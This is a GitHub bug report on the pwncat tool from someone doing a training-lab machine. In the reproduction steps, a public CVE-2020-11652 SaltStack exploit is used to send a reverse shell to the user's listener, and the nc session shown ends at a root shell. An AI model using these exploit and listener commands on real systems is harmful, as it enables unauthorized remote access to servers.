Skip to content
This repository was archived by the owner on Aug 17, 2026. It is now read-only.
This repository was archived by the owner on Aug 17, 2026. It is now read-only.

pwncat receive shell, but connection timeout. and nc can create connection #299

Description

@Facker007

Bug Description

A clear and concise description of what the bug is.

pwncat version

$ pwncat-cs --version
0.5.4

Target System (aka "victim")

offsec providing group Twiggy machine.

Steps to Reproduce

https://github.com/Al1ex/CVE-2020-11652
1、use python CVE-2020-11652.py -m 192.168.125.62 -p 4506 -lh 192.168.45.156 -lp 80 --exec-choose master
2、

pwncat-cs -lp 80  
/root/.pyenv/versions/3.9.20/lib/python3.9/site-packages/zodburi/__init__.py:2: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import iter_entry_points
[11:42:40] Welcome to pwncat 🐈!                                            __main__.py:164
[11:44:32] received connection from 127.0.0.1:34406                              bind.py:84


[11:45:02] connection failed: channel receive timed out: b'bash: no job      manager.py:957
           control in this shell\n# '                                                      
(local) pwncat$
3、
root@kali:/home/a13nil/Desktop/vpn # nc -lvnp 80
listening on [any] 80 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 60222
bash: no job control in this shell
[root@twiggy root]# ls
ls
proof.txt

I don't know if my ligolo proxy will affect the result

Expected Behavior

A clear and concise description of what you expected to happen.

Screenshots

If applicable, add screenshots to help explain your problem.

Image

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions